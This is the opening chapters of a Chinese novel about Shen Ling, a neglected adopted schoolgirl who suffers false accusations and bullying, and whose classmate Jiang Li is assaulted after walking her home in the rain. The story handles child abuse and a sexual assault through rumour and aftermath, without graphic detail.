《理性与癫狂的边缘》
1. 无声的重量 01
这年五月许是连绵阴雨的缘故,直到月底气温也没有升上去,映衬着嫩绿的新叶直叫人在这完完全全的北方看出些许江南烟雨的朦胧感。沈泠没去过江南,从不知道这世上还有地方每年都有绵延不绝的“梅雨季”,只觉得今年不同以往,雨水格外多,好久没见过放晴的蓝天了。她背着书包,尽量避开地上有积水的地方,紧握着伞柄,深蓝色格子伞压得很低。几个男孩子追赶着从她身旁跑过,各色雨鞋踩在水坑里飞溅起水花,她的裤脚和布鞋都湿了,落在最后的是个胖男孩,臃肿的身体撞到她,没有回头兴冲冲地追赶伙伴去了,“哎你们等等我!”她看了看鞋子,心想她应该是不喜欢下雨天的。
沈榕最先从路边的文具店里出来,沈泠本想唤她一声,但看到她瞥自己的眼神,声音卡在嗓子眼里浑浊不堪,那目光就像是隔离剂,无声中将她排斥。沈榕挽着身后女孩子的胳膊,说笑着走了,她穿着鲜红色的雨鞋,那一排粉色黄色红色的伞在雨幕中格外好看,为这阴沉雨日平添了色彩与活力。
“那个女生跟你什么关系啊?”
“就是说嘛你们都姓沈而且我好几次看她想跟你说话呢!”
“什么什么关系!能有什么关系!我怎么可能认识她!”说着翻了个白眼。
“哎你怎么生气了!”
“别走别走嘛!怎么这就生气了?也太小心眼了吧。”
文具店门口的铁棚下,沈泠收起伞,把它靠在门口的角落里,在地上的纸板上蹭了蹭脚上的这双近乎湿透的鞋。高高低低的几排货架丛立着,她拿了两只铅笔和一块橡皮,前几天才买过一块新橡皮的,不知道被谁拿去再寻不着了。
这时班里的几个男生哄闹着挤进店里来,嘹亮的声音瞬间充斥整间小店。
沈泠去结账时眼神落在了方方正正小盒子似的卷笔刀上,不由得停下来,她很想要一个这样的卷笔刀削铅笔,班里好多同学都有,很少像她一样还是用小刀削铅笔。在她被眼前的东西吸引了目光时,听到那几个男生近在咫尺的声音,她赶紧低着头离开。文具店本就小,几个人不知怎么又转过来打个照面,在拥挤的过道上错过。
沈泠把手里的东西放到门口那个小玻璃柜上,玻璃桌面年代久已,边角破了的地方包着几层黄色胶带,还摆着同样不知多少年历史锈迹斑斑的计算器,旁边还放着记账的本子,潦草的笔迹可能只有店长才认得。此时店长巨大而圆润的身体窝在玻璃柜后面咯吱咯吱响的躺椅上,沉浸于手中那本封面艳丽少儿不宜的书,时不时从吐着烟圈的大嘴里发出厚重的笑声。
那几个男孩子不知在架子后面干什么发出哄笑声,店长放下手中的书吼了声“干嘛呢!”声响随即停止,他这才注意到有人站到玻璃柜前,他细小的眼睛迅速而敏锐地瞥了一眼桌上的东西,“一块二!”说完视线又回到了色情书上。
沈泠从裤兜里摸出皱皱巴巴卷成一团的一毛五毛,拿了两张五毛两张一毛,数了数再三确认后放在桌上,拿起笔转身离开。
“站住!”
这一声突然响起,她本能地站住,伸去拿的伞手颤微微地缩了回来,怯生生地转过身。店长庞大的身躯从躺椅上起来,居高临下俯视着她,在沈泠还不明所以时一把拽过她肩上的书包带,从她书包侧兜里抽出来什么来,她瘦肖的胳膊撞到玻璃柜边缘。
“这什么!”
沈泠瞪大眼睛盯着放在眼前的东西,它应该是只钢笔,看着很精致应该不便宜,忙摆手解释道,“不,这不是我的……”
“我当然知道不是你的!光天化日就想从老子眼皮子底下偷东西!”
“没,我,我没偷东西……”
“那这是什么!”
那几个男生嬉笑着走过来。
“呦!这不是咱们班的那谁吗!”
“那谁谁谁啊!”
“叔咋了这是?”
“没你们事不买东西赶紧滚!”转而又对沈泠说:“说吧咋办!要不把你家长叫来,要不我叫警察来!”
沈泠憋红了眼睛看样子马上就哭出来了,摆着双手,“不,我,我没偷……”
“呦呦呦,咱们班竟然出了个小偷!”
“切切切,真丢人啊!”
“就是就是!”
街上一个身穿警服的人撑着伞路过,注意到店门口的情况,合上伞走过来,“咋了这?”
几个男生轻声嘀咕着,“警察真来了!咋办咋办!”
“嘘嘘嘘!”
“高警官,你来得正好,你看这,抓了个现行!”店长的手往他面前一摊。
高警官看了下钢笔,又望了眼那个嘀咕的男生,弯下腰伸手摸了摸沈泠的头,与她平视,一笑起来眉眼弯弯,“嘿孩子,咋回事儿?”
沈泠不停地抿嘴,脸涨得通红,被这一问眼泪终于忍不住啪嗒啪嗒落下来,摇着头说:“不是我,我,不知道它怎么在我书包里……”
高警官直起身摸着她头顶,看向那三个男生,几个男生推攘着,“叔没我们啥事我们就先走了啊!”
高警管拦住他们,“小家伙们,你们刚也在店里,有看到她拿这只笔吗?”
“看见了!”刚说完旁边的男孩推了一下说这话的人。
“没我们啥都没看见!”
“到底看见没!”店长一下子提高了嗓门,把他们吓了一跳。
“没!我们啥都不知道!”
高警官笑了,“这样,这只笔我拿回去,做个指纹鉴定,看上面有谁的指纹,就知道咋回事了,正好你们也在,跟我走一趟也不费事。”
“啊!”
几个男生互相吹眉瞪眼的,磨蹭了好一会儿推出来中间的男生,男孩抓耳挠腮墨迹了半天,摆出一副大义凛然的模样,说:“对不起是我们,不是,我们也没打算偷就是想逗逗她,没想到真把警察招惹来了……”
店长一怒之下抓住说这话男孩的衣领,“臭小子!看我……”
“叔我错了我错了都是大强的主意跟我没关系!”
“还不是你说要耍耍的?跟我没关系跟我没关系。”
高警官拦住胖店长,“哎你别生气,怎么能对小孩们动手!不过小家伙们,知道诽谤、诬陷好人也是犯罪,
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也要进警局的吗?”
“啊?”几个男生听了吓得腿都软了,“高警官我们就是跟班里同学玩玩,我们都是一个班的,我们认识的,不信你问她!”
高警官看了一眼沈泠,这时她已经不哭了,但眼神躲闪不知道的还真以为是她犯了错,“好了你们要认识到自己犯的错,诚心跟店长道歉,跟小姑娘道歉,这次的事我会记下的,要是下次再犯,可就不是这么简单了!”
“是!店长对不起!同学对不起!我们再也不会了!”三个人参差不齐地弯下腰道歉。
胖店长本不打算就这么算了,但看了高警官的示意,还是妥协了,“你们这三个臭小子,下次再被我逮着试试!”
三个人推攘着出了店门拔腿就跑。
高警官拍拍沈泠的头,“行了孩子,你也赶紧回去吧!”
沈泠低着头还觉得委屈,跑了两步又回来慌忙中拿起伞,犹豫中低声蹦出三字,“谢谢您!”
“今儿不值班?”
“休息了,赶着回去喝一口!”
高警官客气地笑了声撑起伞走了,胖店长重新把身上的肉放回摇椅中,拿起书又放下,注意到他怎么往那边去了?想了半秒又把注意力放回到那本书上。
高警官快走几步想赶上那个女孩,没想到小姑娘小碎步跑得还挺快。
“嗨孩子!”
沈泠放慢了脚步,过了几秒才回过头,握紧手里的伞怯懦地看着他,雨越下越大,打在伞上还有几分分量。
“你怎么一个人回家?家长不来接?有没有一起的小伙伴?”
沈泠眼眶还是红的,抿抿嘴摇了摇头,旋即没说话转身跑了。
“哎!”
高警官随了她一路,看她拐进了一栋楼。走过来时正巧紧挨着的楼门口一位大妈年纪的人要出门。
“找人?”
“不是,路上看一孩子一个人回来,不放心过来看看。”
“哦,是个姑娘吧”不等他回答接着说道:“你说的是小沈泠吧!”
“沈泠?”
“对,肯定是她,这孩子一直是一个人回来!都没结伴的人。”
“她父母都不管她吗?”
“这有啥好管的?”大妈按耐不住八卦的心,谨慎地望了望周围,特意瞟了一眼旁边的楼层,确定没人才压低声音开口道,“这姑娘吧,是那户小两口抱来的!本来没办法生就抱养个姑娘不用管娶媳妇,是个女孩也挺好,可没多久呐,没想到竟然怀上了!要是个小子倒也没啥,可还是个姑娘,就到底对亲生的不一样。”
“噢这样啊……”
“是个好孩子,可就……唉算了算了不说了我得出门了!”
“好您慢走!”
高警官看着大妈披着雨衣走远,抬头望了望这栋阴暗中蒙上层灰雾的破旧楼房,眼中的情绪一时难以辨明,终于还是转身走了。
伞上的雨水顺着伞面呲溜落下,这一会儿的功夫就在楼道的石灰地上积了一小片儿。布满污渍的小窗户前,沈泠看着高警官深蓝色的方格伞慢慢在雨幕里模糊,这才继续上楼。
2. 无声的重量 02
“泠儿你怎么才回来!怎么把衣服弄这么湿!快去换了洗洗!榕儿换下来的也在盆里,一块泡上!”
母亲粗着嗓门在锅碗瓢盆的碰撞声中嘶吼,与这嘈杂的声响倒像是如出一辙,不时传来被油烟呛到的咳嗽声。
沈泠轻手轻脚回到房间,路过妹妹的房间时偷瞄了一眼,她正在小课桌前写作业。沈泠回到自己的房间,与其说是房间不如说是小杂货间,之前她住在妹妹那间房,妹妹跟着父母睡,后来妹妹大了要自己住,父亲让她和姐姐住一间,她不同意说是没办法学习,后来母亲想出一个办法,就是让一个人住到收拾出来的杂货间。当然,那个人只能是她。
沈泠换下湿衣服,坐在矮板凳上费力地把两个大盆里的衣服都洗了,期间听到开门的声音,应该是父亲。
“泠儿快别洗了,你妈做好饭了先去吃饭!”
“好!”说这话的时候面无表情,洗洗手去吃饭。
“泠儿快来!”坐在饭桌边的父亲招呼她反倒让她觉得自己像个外人。
她看了看母亲和妹妹,她们都没有看自己,这才悄无声息地坐下。
晚饭大都是妹妹和父母有说有笑,有时父亲也会问她自己在学校有没有遇到好玩的事,她认真地想了想还是说没有,久而久之饭桌上她几乎都不怎么说话,大家也都习以为常。
吃过饭父亲和妹妹都离了桌,母亲交代她要收拾什么,之后便留她整理碗筷。
客厅里父亲要看新闻,妹妹非要看动画片,“你就让她看嘛!学习了一天了多累,放松放松!”这是母亲的声音。
“你就惯着她!”这是父亲的声音。随即电视传来的声音换成了动画片,最近流行的几部动画片她都没看过,印象很深的一部只有之前看的“雪孩子”,结尾雪人的离开让她伤心难过了好久。
从厨房出来父亲招呼她看电视,她微笑着说还有衣服没洗完。这时父亲都会喊母亲让她去洗衣服,从卧室传来母亲气势汹汹的声音,“我一天到晚照顾你们仨吃喝拉撒你就看不得我歇一会儿!我把你们照顾得服服帖帖地你就不能念我点好!你是存心要累死我才开心!你要有劲儿你自己去洗去!”
父亲颇为尴尬地看看沈泠,苦笑了声,她逃也似地钻进了洗手间。
把衣服都晾起来直了直酸痛的背,顺道洗了脸刷了牙,客厅的灯还亮着,妹妹已经回房里了,父亲在看抗日电视剧,她悄声地从他背后走过,溜到杂货间,关上门客厅的声音小了很多,她反锁上门,这才松了一口气,搬了一张小板凳坐到床前,从陈旧的书包里拿出作业铺在床上,那个书包是妹妹用过的,母亲说扔了可惜就让她接着用。房间里的灯似乎不够亮,她费了好大劲才把书上的字看清楚,万籁俱寂中传来铅笔在纸张上发出飒飒声。
视线中的字迹慢慢模糊交叠在一起,手腕也略有麻木,忍不住打了个哈欠,拿小刀把几只铅笔都削尖了,这才把书本装进书包,关上灯躺在床上,上一秒还在想着明天的早课上什么,下一秒就睡着了。
课上沈泠忍不住打盹,老师叫她回答问题她反应了好久都没答上来,涨红着脸低头一言不发,老师训她都有种屡教不改的无可奈何,笨鸟都知先飞而她却比石头还犟,她感觉不光是那几个在文具店遇到的男生,还有其他很多人都在嬉笑。
“这阶段有几个同学落下得比较多,马上就考试要抓紧一点了,那咱们采取‘一帮一’的形式,放学后留半堂课的时间辅导作业,这几个同学注意一下,……,江黎帮沈泠,就是这些安排,落后的这几个学生注意点,马上来的考试要再没有提高,就要请家长来了解了解情况了。”
几个学习好被念到名字的好学生顿时怨声载道,沈泠向教室前排望了一眼江黎,她正好回过头看她,沈泠急忙羞愧地收回目光埋下了头,接下来的课也一直低着头。
连着几个下午放学,“互助小组”都留下来一对一辅导功课,沈泠没听江黎有过抱怨,但也只听她说有关学习的事,一本正经不苟言笑,即使是沈泠听得很费力,一个问题重复好几遍,她也相当有耐心,可能尽快完成任务尽快回家才是她所希望的。
离开时江黎不同沈泠一起,而是和她比较熟悉的同样成绩优异的小伙伴一起。有时沈泠远远地望着她们的背影,感觉她们都好优秀,像是始终站在阳光下受着眷顾,赞美和仰望,只有优秀的人才同优秀的人一起做朋友吗,她想也许是的。
这天本是晴空万里,谁知临近放学变了天,淅沥淅沥的小雨接踵而至,敲打着玻璃。放学时照例互助小组留了下来,江黎朋友的家长提前来接,还给她留了把伞。两人告别后江黎就时不时地望向窗外,似乎有些焦虑,剩下的学生除了她和沈泠就都是男生了,班主任老师也提前走了去幼稚园接孩子回家。
沈泠想提议今天就早点回去,可看江黎没有表态,目光在窗外和课本上来回闪烁,几次张口也都没有说出声来,只得心不在焉地翻动着书本。
“江岩?你就一个人回来了?妹妹帮同学补习回来得晚,突然下雨也没带伞,你快去接妹妹。”
“她不是有同学一起嘛!”江岩迅速换下淋湿了的衣服往地上一扔,急忙忙要出门,同学还在门外等他,两人约好一起打游戏。
“下这么大雨!妹妹没带伞!妈妈还要去接你爸爸,你赶紧去!”
“哎呀都那么大的人了!”想起早上出门江黎向父母告状他昨晚玩游戏好晚才睡,江岩心里一阵不平,拿了伞摔门而去,末了还嘀咕一句,“又丢不了。”
“哎你快点去啊!”
阴雨天黑得早,往日还通亮的景今日都变得灰蒙蒙的了,风也似感染了寒意吹得人凉飕飕。两人一前一后出了教室,班里的几个男生早已不见踪迹。
沈泠快走到教学楼门口时注意到江黎停在那里,手里的伞撑在地上。她放慢脚步思索着要不要等她走了再过去,一小步一小步终于还是挪到了门口。
江黎听到动静回过头,“怎么这么慢,一起走。”说着撑开了伞迈开一步站在了雨中,她的话语中并没有不耐烦。
沈泠呆呆地看着眼前这一幕,还有些不可思议,不自觉地握了握手,鼓起勇气走到伞下。
这场雨来势汹汹路上鲜有人烟,艳红色的伞映在地上的水坑中,一片晦涩中格外扎眼,沈泠小心翼翼地尽量不踩到映着红伞的积水里,小小的身板一摇一晃。
“好好走路,淋到雨了。”
沈泠抬起的脚停在半空中半秒,看了一眼身旁依旧面无表情的江黎,情不自禁笑了,随即下意识中收敛了笑容,她一侧的肩膀因为晃动幅度大已经淋湿了。
走到一个路口时沈泠停了下来,说道:“之后方向不一样了,就送到这儿吧,谢谢你了……”沉吟了一下接着说:“功课我会努力赶上尽量不拖累你,谢谢你。”说完跑进了雨幕之中。
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沈泠一鼓作气跑了好远,雨打在脸上脆生生的,丝毫没有手软的意思,一溜烟躲在一处屋檐下避雨,转身看到远处一小片红色已模糊了不少。脚动了动似乎已经能踩出水来,布鞋湿透了,脚丫子泡在里面很不舒服。
她再抬头那抹红色似乎不再移动停住了,隐约有个黑影衬在其后,等她瞪大了眼睛想仔细看清楚时,那小片红色似是剧烈地颤抖,终于跌落在地上不再闪烁。
沈泠愣住了,紧接着毫无犹豫地奔跑起来,呼吸一下子拥簇在心口,憋得人要窒息,她从未跑得如此之快,双腿不受控制地飞快交替,她很快就能追上那片鲜红。
一声刺耳的巨响,她感觉自己像是块被丢弃的破布,终于坠落到了它该去的地方,她还是够不到。视线中倾斜的世界慢慢崩溃,身体也不再属于自己,她张开嘴想叫她的名字,试了几次什么声响都没能发出,雨滴啪啪地砸在柏油路面上,混在她的眼眶里,耳朵里。她的声音太小了,哪里也到达不了,一时之间尽数淹没在大雨的嘈杂之中。
一场突如其来的大雨困住了形形色色的人,雨声沸腾,恶意也在蠢蠢欲动。
因这场雨的到来,气温一下子降了不少,潮湿冷冽的空气接触肌肤让人冷不丁打个寒颤,直至半夜这场雨才敛了势头滴答滴答柔和起来,微弱的路灯散发出光芒,在雨雾中折了几道,给周遭笼罩上一层朦胧。
黑暗中零星的意识慢慢聚集,感官也渐渐恢复,像是长途跋涉的旅人,终于来到眼前。滴答一声,清脆悦耳,指尖手心里都是湿的,整个后背像是衬在寒冰上,全身心浸泡在一片无尽黑暗中,这是……哪里?是不是……死了?死了,吗……
沈泠尝试着睁开双眼,眼底映衬出夜色,黑得并不纯粹,她下意识贪婪地追逐光亮,挣扎起身,这才看清身处何处。已不是与江黎分开的路口,目光所及只是一条柏油路的尽头,再往后便没什么建筑物了,熟悉的格局依附着从未见过的陌生。
右胳膊火辣辣地,直起身还有些踉跄,大脑一阵眩晕夹带着刺痛。雨已经停了,偶尔从树叶上跌落的雨滴敲击积水水面,撞击的声音似在回旋,绕着夜幕萦绕而上,空中无月,只远处一盏淡淡的路灯,一圈一圈传递着清冷的光晕,路面是黑色的,泼了墨般不着踪迹。色彩之间产生巨大的冲撞,却又神奇地以难以形容的格局交融在一起,突兀与和谐此起彼伏。
沈泠木讷地观察了一番,这里孤零零地只她一人,颤巍巍地走了几步捡起不远处的书包,沾上了黑水脏兮兮的,怕是免不了一场不爱惜物件的谩骂。抱着书包一摇一晃,就这么往路灯方向走,这夜里连影子都涣散得失了踪迹,身后一片空荡,怕是连追魂的鬼都不愿此时露面。
一路上静悄悄的,只双脚踩在湿漉漉地表上发出咯吱咯吱的怪响,在这静谧的夜中好似何人呓语,了无牵挂地走在黄泉路上,孤魂野鬼四下飘荡了无生气。
路越走越熟悉,蹒跚着走到了小区楼下,一栋栋楼整齐排列,窗户一扇挨着一扇,规整得让人心底发毛,没有一户亮灯,放眼望去冷凝着片片黑暗。她抱紧了怀里的书包,轻轻走进去,楼道里经年已经的声控灯都没被惊醒。黑暗中她走得游刃有余,像是本就从这片光景中诞生一般,将自己与漆黑中的寂静贴合得几近完美。
瘫在房间的地板上,眼皮沉重地合上了,身体像是承受万钧之重,向无底的黑洞里无限沉下去,压迫得她喘不过来气了。
3. 无声的重量 03
慢慢长夜,眨眼而过。
被母亲敲门的巨响惊醒,门被推开半扇,但母亲好像并没有朝房内看,沈泠一个激灵翻身而起,许是用力过猛头有些晕,扶着墙面才意识到四肢冰凉,就像是寒冬腊月里赤条条挨了一夜,门外传来母亲的厉声斥责,“几点了还不起!早饭不想吃了!招呼也不打家都不回了!翅膀硬了容不下你了是吧!”
沈泠趁母亲去厨房溜进了卫生间,简单洗漱了一下,右侧头发根上的血凝固了,费了好大劲儿才清理干净。卫生间门突然被推开时,她正呲牙咧嘴小心翼翼地梳着头发,举着梳子的手停在半空中,惊讶地看着探进大半个身子的沈榕。
照以往沈榕定是翻着白眼重重地关上门以示不满,谁知这回她侧身挤进来,轻轻掩上房门,眼神犀利地盯着她,“你昨晚上干什么去了?”
她的声音倒是得母亲真传,细细的嗓音叫人无端觉得压迫,眼睛死死地盯着沈泠,面无表情得比路人还冷漠。
“我……哪儿也没……”
“得了我也不想知道你去干嘛了,昨晚上爸妈问起来我说你去同学家了,你自己看着办!以后这种事你最好自己解决,别老给我添麻烦。”说完离开拉上门发出一声巨响。
出了门太阳光一下子刺眼而来,她抬手挡着光亮,这光对她来说太过于锋芒。铺面而来的是潮湿而清凉的空气,昨日暴雨已不见踪迹,又是一个晴朗的好天气,只有尚未干透的地面,还残留着斑驳雨渍。
早课上,沈泠的大脑昏昏沉沉,提不起精神,数学老师在讲什么全然听不进去,有谁拖着要把她拉入地下,身体无比沉重,眼皮一次次忍不住合上。让她格外不安的是江黎没有来校,她的座位空着,从来都没有过的情况,作为一个始终恪尽职守好学生的江黎,缺席了。
早课没多久,年级主任闯入课上喊了几个学生。
沈泠被带到了办公室门口,主任带着包括赵亭亭在内的几个学生进去,留她一个人在门口先等着。她听到办公室传来呵斥的声音,夹杂着班主任的话语声。不一会儿班主任老师怒气冲冲地拉开门,看到门口一脸无辜望着她的沈泠,抬手就给了她一耳刮子。
“烂人就知道惹事!”
“喂你怎么能打学生!”声音从背后响起,沈泠的一侧脸上已结结实实地挨了一下,突如其来的一巴掌和直锥心口的谩骂令她缓不过神来。
说话的人走到她跟前蹲下身平视她,眼里满是关怀,扶着她的肩膀,声音一下子温柔了许多,“孩子疼不?”
是高警官,身旁还跟了一个瘦瘦小小一看就没什么精气神的人。
沈泠忍住眼泪摇了摇头,高警官拍拍她肩膀直起身,立马换了副表情,“身为老师你没尽到职责提前离校,现在出了事还敢打学生,原来咱们学校就是这么教书育人的啊?”
班主任瞪着高警管似要把他撕碎,语无伦次地反驳道:“昨天那么大雨!我儿子才六岁!放幼稚园谁能放心!”
“你孩子是孩子,别人家孩子就不是宝了?”
副校长从办公室走出来尴尬地打圆场,老态的面容带着几分凝重,“高警管真是对不住了,这真是我们学校的失职,我已经教育过她了,学校之后也会做相关处理,当务之急是赶紧把坏人给抓住啊!必须狠狠地严惩!”
“接下来的事我们会处理,还需要学校尽力配合。”
“对对对,我们一定,一定尽全力配合,有什么需要提供您直说,我们决不含糊。”
高警管和沈泠面对面坐着,态度极为温和,“孩子你别怕,这儿就咱们俩人,我呀就有几个问题想问你一下,你要是知道什么,就跟叔叔说一说好不好?”
沈泠抬起头正好撞到他和善的视线,双手在腿上搓了又搓,乖巧地点了点头。
“昨天放学后,你和班里同学江黎一起留下来,她给你补习功课,是不是?”
“嗯。”
“昨天下的雨很大,你们什么时候走的?”
“……差五分,六点。”
“你们是一起走的?”
沈泠点点头,又摇摇头,高警管疑惑地看着她。
“她……江,江黎先走的,她在楼梯口等我,然后我们一起走。”
“你们俩住的地方不在一起,那么大雨,你们怎么回去的?”
“……伞,有伞……”
高警管若有所思地摸了摸下巴,“伞?据你们老师说,昨天雨下得突然,江黎也没有带伞?”
沈泠慢吞吞地眨了眨眼睛,似乎费了好大劲儿在回忆,“一把红色的伞,是赵亭亭留下给江,江黎的,她爸爸来接她,带着伞。”
高警管意识到每提及江黎时,沈泠都有些不自在。
“所以,江黎打着赵亭亭留下的伞,送你回家了?”
“……送到路口,方向不一样了,就分开了……”
眼前的孩子有些焦躁,两只手搓来搓去,眼神也飘忽不定,“一路上,你觉得有什么异常吗?有谁跟着你们吗?跟平时不一样的。”
“没有什么不一样的……”
“那你们分开之后,你有注意到,江黎有直接回家吗?”
沈泠皱着眉,手上的动作停了一下,眼皮微微抬起瞄向眼前的人,“她,是不是,出什么事了?”
高警管心里咯噔一下,“你注意到什么?”
警察没有正面回答她的疑问,而江黎没有来学校,那个突然出现的模糊黑影,晃动的红色,沈泠栽倒在了那条路上。
“孩子?”
沈泠吓了一惊,回过神来正巧迎上他热切的眼神,一时间愧疚到无地自容,低下头思索了片刻,好不容易鼓足勇气,“好像,有个黑影,我看不清……”
“你看到,有个黑影?和江黎一起?”
“嗯。”
“之后,那个黑影,和江黎怎么样了?”
沈泠摇摇头,表情格外痛苦,“不知道……”
“那个黑影,有什么特征吗?”
沈泠极为费力地想了想,终于还是摇了摇头。
“你看到黑影后有做什么?过去找她?还是直接回去了?”
“我本来,本来想去找她……”
“然后呢?出什么事了吗?”
“我……”
见她不知怎么说,高警官耐心道:“你头上的伤,怎么弄的?”
“……这个跟她没关系,是我不小心……”
小个警察敲门进来,神色紧张,示意他出来一趟。
高警官出去后,小个警察坐到沈泠对面,拿着个本子,一脸严肃地问道:“昨天傍晚,还有什么要说的吗?任何事情。”
沈泠咽了咽口水,接着说:“昨天,在
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那个路口,我本来打算,追上江黎,去看看她怎么回事,没注意,没注意路上的车,在路口被撞晕了。”
“撞车了?”小个警察手里的笔停了下来,眼珠子转了一圈,极为不满地问道:“撞车之后呢?”
“之,之后的事,不记得了,醒来后已经不在那里的了,头上的伤也是……”她的声音愈来愈小,试探性地看了一眼对面的警察。
他极不耐烦地说:“跟嫌疑人有关的,还有什么?现在可不是听你扯七扯八的时候!”
“没,没了……”
“嘁。”小个警察收了本子走了出去。
一个人坐在空荡荡的办公室,沈泠隐约听到门外的声音。
“……”
“……自首了?什么时候?”
“……”
高警管匆匆回来叮嘱了几句,和小个警察一前一后离开了学校。
两位警官离开后,副校长又问了一遍几近相同的问题,沈泠一一作答,她还是没能得知江黎出了什么事,结果是又一个人孤零零地坐着。
许多没见过面的老师在眼前来来去去,终于在上午最后一堂课前,沈泠被允许回班,低着头弯着腰,走路也静悄悄的,楼道拐角迈开的步子在听到“江黎”名字后紧急缩了回来。
“哎你们听说了没!昨晚上隔壁隔壁班的一个女生,好学生,好像是叫江黎吧,让人给□□了!”沈泠心里咯噔一下,那两个字在她脑中不断放大不断放大,快要把脑壳撑破,完全超出了她可接受的意识范围,拳头一下子不自觉地攥紧了。
“我也听说了!她爸妈昨晚上就报警了,警察找了一晚上,还是今儿凌晨有扫地的发现的!”
“听说啊,身上全是血,衣服呀全都没了!”
沈泠感觉双腿一下子失了气力,软绵绵的撑不住她这个庞然大物,贴着墙连呼吸都不敢发出声音。她缓了好久,才丢了魂似的机械地回到班里,像往常一样绕到教室后门进班,她的座位就在倒数第三排靠过道的位置。
可是一进门就被几个男生拦住。
“哎哎哎听说昨天你是跟江黎留得最晚,你怎么好好的?”
“就是啊你怎么好好的?”
“哎是不是她就老干这事啊?”
“对啊对啊有道理。”
“多少次了都习惯了吧?还带坏我们好学生江黎?”
“说到底那个坏人就是你招来的吧?”
“本来找你的吧?”
“……”
讥笑声格外刺耳,沈泠止不住犯恶心,她很想给他们一拳,打在他们的脸上,再用宽胶带封上他们的嘴,让他们什么都做不了。可实际上什么都做不到的人是她,正如此时双手握拳,眼眶泛红,可还是穿过他们一声不响地挪到座位上,像是僵硬的木偶,没有喜怒。
与此同时,教室门外几个女生路过。
“哎沈榕那不就是跟你一个姓的那个谁嘛!”沈榕冷哼一声拉着一起的女生快速走了。
沈榕怎么会在这儿,看她的嘴型说了什么?缩头乌龟?这些人又为什么这样对她?她不明白的事好多好多,眼前的桌椅不知被谁泼了黑墨,书本破损的纸页划着骂人的话。抬起头赵亭亭正瞪着自己,眼神里充满了嫌弃和鄙夷。
一切都糟糕透了。
被毁掉的,不止是好学生江黎。
4. 无声的重量 04
中午时间,沈泠背包里的饭也没有拿出来吃,她什么胃口都没有,孤零零地坐在座位上,费了好大功夫才收整好座椅。班里的人不多,很多人去校外的饭馆吃饭。在她愣神的时候一声巨响把她拉回现实,教室后门被踢开了,一个男生气势汹汹地站在门口,很多人不明情况盯着那人看,而他早有准备似的直直盯着沈泠。
“你出来一下!”
“我?”沈泠不知是何情况,如果是和以前的恶作剧一样她有信心躲开,可这个人的样子让她感觉并非如此,那人站在门口,神情凝重。她克制着,尽量保持冷静,起身迈开步子已经耗费几乎全部的气力,迟钝地绕过他出了门。
在楼梯拐弯处,男生一脸严肃,语气也毫不客气,“我问你,昨天晚上你和江黎什么情况?”
这一天她已经不知第几次被问到这样的问题了,眼前的这个人又要找她什么麻烦。
“我,我跟她什么事也没有……”
“江黎昨天放学后给你补习完就再没有人见过她!今凌晨才在垃圾场附近找到……”他的声音有些哽咽,迅速低下头应该是掩饰泪水,那一瞬间沈泠突然感觉很抱歉。
“她这几天都是留校给你补课吧,沈泠同学?”他的话让她一时间感觉心虚,不敢看他,怯生生地回答:“是,是的……”
“然后呢?”
“没有,没有了……”
“没有?你跟我说没有,”男生突然揪住她脑后的头发,伤口一下子被撕扯,疼得她眼泪直打转,“那你跟我说你头上这是什么情况!啊!你说清楚!”
一个人影跑上来,看样子在暗中观察早有准备,抱住那个男生,“哎你冷静点!你先松开!冷静点!”
“你让我怎么冷静!我妹妹还躺在医院里生死不明你告我冷静!冷静有屁用!”
那个男生站在他俩中间,拦着正在气头上的那人,“行了行了先别说话。那个,同学,你先解释一下你头上是怎么回事儿吧。”
“我,我在路上摔的……”
“呵,摔的?你再给我摔个看看!”
“江岩!你冷静点!警察会查清楚的!”
男生攥紧了拳头顿了会儿才再次开口,“我告诉你!我不会放过你的!我会搞清楚!你等着!”
另一个男生满是抱歉地看了看沈泠,丢下两字“抱歉”转身去追那人了。
沈泠无助地靠着墙,明明空无一人却忍不住四处张望,不安和恐惧在她脸上表现得淋漓尽致,头上被扯开的伤口生疼,眼眶也已湿润。
沈泠很想知道江黎的事,可没有人愿意告诉她,也无从查知。小个警察又找她做笔录,她知道那些话对查案并无什么益处,被车撞这回事也没有人在意。
零星地听得些传言,那天早晨坏人自首,是个三十岁出头的男人。后来她还知道江黎从重症监护室出来了,是江岩找她时得知的,当然江岩并非为了告诉她消息而来,他还是怀疑她跟他妹妹的事有联系。不知是不是因为他听到了学校里的传言,是她把坏人招来的,才会对她如此执着。
他的怀疑不无道理,她头上的伤口他也敏锐地捕捉到了。她没有包扎,就让那道口慢慢好。她不敢回想那天江黎的遭遇,难不成她真的是替代了自己成了受害者,真的如那些人所言自己是个灾星。
接连几天的小雨,沈泠对这看似永无停歇的雨季充满了厌恶,从胃里翻上来的恶心。雨幕中发生了什么都尽数被洗刷掉,阴暗嘈杂的角落里更不知会有什么,雨成了同伙,恶意横行罔顾人命。
终于到了周五天微微放晴,下午她跟新接手的班主任老师说身体不舒服要请假回家,老师狐疑的眼神险些让她露馅,好在她之前从未旷课逃课,老师最后还是批准了。
微弱的太阳光还未完全驱散雨日的阴霾,空气中雨过天晴的味道,干净而清新。沈泠深深吸了一口,郑重得像是一种仪式,虔诚地要把天地动容。她小跑着到了医院,手里攥着张纸条,记着江黎的病房号,是她被罚站在办公室门口时偷听老师们谈话得知的。
铺面而来的味道陌生且刺鼻,沈泠没有来过医院,生病什么的母亲都会从家里的药箱里拿对应的药给她,每次都很管用,她甚至有些怀疑母亲以前学过医生护士类的,但转念想想母亲那样大大咧咧格外粗鲁的性格,还是破灭了这个想法。
医院里有外面很少见的电梯,沈泠没坐过也不敢坐,绕到走廊尽头爬楼梯上去,相较于一楼安静了许多,她慢慢冷静了下来。
刚迈出的步子快速收了回来,沈泠小个身子完全藏在了楼梯间,过了几秒探出脑袋看到江岩开门往返方向走去,不知干什么去了。
等确认人走了,沈泠悄悄走过去,趴在门口,应该是江黎母亲,背对着门坐在床尾。
她脑海中无数次做了最坏的想象,江黎可能是什么摸样,可眼前病床上的模样还是让她揪心。江黎身上插着管子,多处淤青,脸上的伤口触目惊心,眼睛闭着像是睡着了,乖巧得一看就是个好女孩。
沈泠双手攥着皱皱巴巴的衣角,不知如何是好,她想摸摸她的手,告诉她坏人已经被抓到了,已经安全了。可伸出的手怎么也碰不到她,就像那时候一样,她没能帮到她,她帮不了她……几分钟的功夫沈泠再难以待下去,转身低着头快步走向楼梯。
